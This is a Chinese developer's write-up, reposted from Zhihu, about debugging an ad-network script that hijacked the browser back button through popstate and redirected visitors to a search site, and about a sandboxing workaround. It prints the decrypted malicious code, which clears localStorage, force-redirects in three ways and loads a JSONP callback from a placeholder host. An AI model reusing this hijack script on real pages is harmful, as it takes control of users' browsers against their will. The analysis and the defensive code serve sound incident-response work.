一個popstate的bug引起的雪崩 優秀回答者
首先,我們接到用戶投訴,在某些網絡運營商的網絡下,某些android機型的瀏覽器中,訪問我們的頁面會有一些詭異的行為。
一,起因:
行為表現是,進入頁面后,什么都不操作,頁面加載完畢后,用戶的瀏覽器居然直接跳轉到了某個網站的一個搜索頁面,每次搜索的結果還都不一樣。
一開始我們發現了這個bug后,是非常被動的,因為用戶進行了錄屏操作,確實是什么都沒干頁面就自動跳轉到某網站搜索了,我們模擬了投訴用戶的網絡,UA,android同款機型都無解,全程頁面都是使用的HTTPS鏈接,DNS排查后沒有被劫持。
二,排查:
因為無法復現,所以這個問題大概發生了大概一周左右,而且概率不大,后來我們模擬了用戶的ip段,對其進行了小概率的復現,然后追查網絡鏈路,定位了最后的問題。
引起這個的原因,是由于我們的頁面引入了某些第三方平臺的廣告聯盟腳本,而廣告的插入方式大家都知道,是以下幾個步驟組成的:
1,加載第三方廣告腳本。
2,第三方腳本根據規則動態獲取廣告展示腳本。
3,插入廣告展示腳本到廣告主頁面。
問題就出現在廣告腳本這一塊,也就是第二步。
通過對日志的排查,復現的腳本,會有小概率的情況在頁面中增加一些私貨,而且是通過eval加密的,具體加密方法其實就是下面這個地址生成的: js的eval方法在線加密解密工具
那么這段代碼做了什么呢?
通過對加密代碼進行解密,我們發現他干了一件非常神奇的事,這件事就和popstate有關了。
直接上一下解密后的核心部分代碼:
window.loadKeyWord = function(wd) {
(function(window, location, wd) {
history.replaceState(null, document.title, location.pathname + "#!/stealingyourhistory");
history.pushState(null, document.title, location.pathname);
window.addEventListener("popstate",
function() {
if (location.hash === "#!/stealingyourhistory") {
history.replaceState(null, document.title, location.pathname);
setTimeout(function() {
var h = self,
d = document;
var i = d.URL,
n = d.location,
q = d.body,
B = function(b) {
!!h.localStorage && localStorage.clear();
//replace ie寫法
(1 - 0.1).toFixed(0) == 0 ? n.replace(b) : !!h.openDatabase ? ~
function(a, c) {
a.rel = 'noreferrer';
a.href = b;
q.insertBefore(a, q.firstChild);
try {
a.click()
} catch (z) {
c = d.createEvent('Event');
c.initEvent('click', !1, !1);
a.dispatchEvent(c)
}
}(d.createElement('a')) : ~
function(a) {
d.open();
d.write(a);
d.close()
}('<meta http-equiv="refresh" content="0;url=' + b + '"/>')
};
var tt = wd;
if (tt) {
B("xxxxxxxx")
}
},
0)
}
},
false)
}(window, location, wd))
}
var hm = document.createElement("script");
hm.src = "xxxxx.com/?callback=loadKeyWord";
hm.async = true;
hm.type = "text/javascript";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s)
簡單解釋一下,定義的loadKeyWord方法等于是一個全局的jsonp回調,然后惡意腳本通過調用另外一個script來觸發這個方法的執行,傳回來的就是每次不一樣的關鍵字結果。
那么我們來簡單分析一下,這個loadKeyWord方法干了點啥。
1,調用了 replaceState
方法進行了一次當前url的歷史記錄替換操作,這個記錄加上了 stealingyourhistory 這個hash值。
2,調用 pushState
方法把當前頁面的url換回來了,這樣保證如果用戶點擊了后退,那么就會回到帶有stealingyourhistory的這個值。
3,如果用戶點擊后退,會觸發popstate事件,這個時候,正好會進入下面他增加的監聽,判斷如果url帶著stealingyourhistory,那么就會觸發他的惡意邏輯。
4,惡意邏輯寫的就比較簡單了,一系列的瀏覽器檢測后,不同的瀏覽器選擇不同的跳轉方式,比如location.replace,比如自己創建一個a標簽自己模擬點擊,還有最狠的是在頁面里插入一個refresh meta來進行重定向。
明白了這個邏輯,大概的一個攻擊腳本就分析完了,那么為什么用戶會不點后退,進入頁面就自動跳轉了呢?
哈哈,因為本身popstate在規范上寫的是只有用戶點擊了前進后退,對歷史記錄進行操作才會觸發的,但是在webkit中他是有bug的,當瀏覽器打開一個新頁面或者刷新頁面,都會觸發popstate,遇到這個bug的人一般都是在onload執行完畢后再setTimeout一下進行popstate的綁定的,但是這個惡意腳本應該是沒有考慮到,直接進行綁定了。
那么這個投訴的場景就復現了:
1,一個用戶的瀏覽器中了惡意腳本規則。
2,惡意腳本進行jsonp的回調,觸發惡意邏輯。
3,進行stealingyourhistory操作。
4,頁面這個過程還沒onload。
5,頁面onload了,觸發了popstate事件,頁面被直接帶走了。
三,解決:
我們知道了觸發原因,破解了惡意腳本邏輯,因為眾所周知的原因,廣告平臺肯定是不認賬的,處理肯定也不會那么及時,那么如何快速臨時的解決一下呢?
處理這種攔截的解決辦法,一般都是對惡意腳本的一些關鍵api進行沙盒處理,我們先看下對方腳本做的事。
1,用到了document.write來進行了meta refresh的寫入。
2,用到了location.replace進行重定向。
3,用到了模擬點擊a標簽。
如果只是重寫document.write就能解決那就好辦了,但是因為跳轉方式的多樣化,我們換個思路。
腳本觸發的過程其實本質是對history的幾個方法的利用,那么我們其實只需要對這幾個方法進行攔截就可以了。
看下關鍵代碼:
function rewrite() {
var win = window,
doc = document,
docWriteln = doc.writeln,
docWrite = doc.write,
oldEval = eval,
addEvent = win.addEventListener,
histryReplaceState = history.replaceState,
histryPushState = history.pushState;
Object.defineProperties(win,{
addEventListener:{
value:genMethod(addEvent,filterPopstate,win),
writable: false,
configurable: false
}
});
Object.defineProperties(doc, {
write: {
value: genMethod(docWrite, filterWrite, doc),
writable: false,
configurable: false
},
writeln: {
value: genMethod(docWriteln, filterWrite, doc),
writable: false,
configurable: false
}
})
Object.defineProperties(win, {
eval: {
value: genMethod(oldEval, null, win),
writable: false,
configurable: false
}
});
Object.defineProperties(history, {
replaceState: {
value: genMethod(histryReplaceState, filterreplace, history),
writable: false,
configurable: false
},
pushState: {
value: genMethod(histryPushState, null, history),
writable: false,
configurable: false
}
});
}
rewirte函數對這些關鍵方法,比如write,writeln,replaceState,pushState,eval進行了重定義。
然后我們關注一下value的部分,我這里使用了一個方法來復用重寫邏輯,因為要完全代理原來的方法,我們需要把scope,原始方法,過濾方法都傳進去。
function genMethod(oldMethod, filterFn, scope) {
return function() {
var args = Array.from(arguments);
if (filterFn) {
if(filterFn(args)) return oldMethod.apply(scope, args);
} else {
return oldMethod.apply(scope, args);
}
}
}
這里需要注意的是我們因為重寫了eval方法,在apply調用的時候需要把返回值返回去,如果你想對你網站所有的這種方法做監控,當然你也可以在genMethod方法中加入上報的埋點,這個就看個人需要了。
因為我們有了對方法參數的過濾機制,所以我們通過過濾popstate的callback.toString()來進行了渠道號和某網站URL的正則匹配,又對write方法等做了一些關鍵字的過濾,如果命中就不會執行,測試可以快速解決這個強制跳轉和攔截后退的惡意腳本。
四,總結
最后我們也和某網站,也就是收益方進行了溝通,確認應該是某些廣告商的作弊行為導致的,當然這種問題的排查和追蹤比較困難,以上都只是一些不得已而為之的處理方式,最后肯定是要從攔截的源頭來進行處理了。
而這一系列的廣告黑產技術的破解,被發現的原因居然是因為popstate的一個bug而引起大范圍反饋和排查的,這真是讓我們哭笑不得。
來自:https://zhuanlan.zhihu.com/p/32195737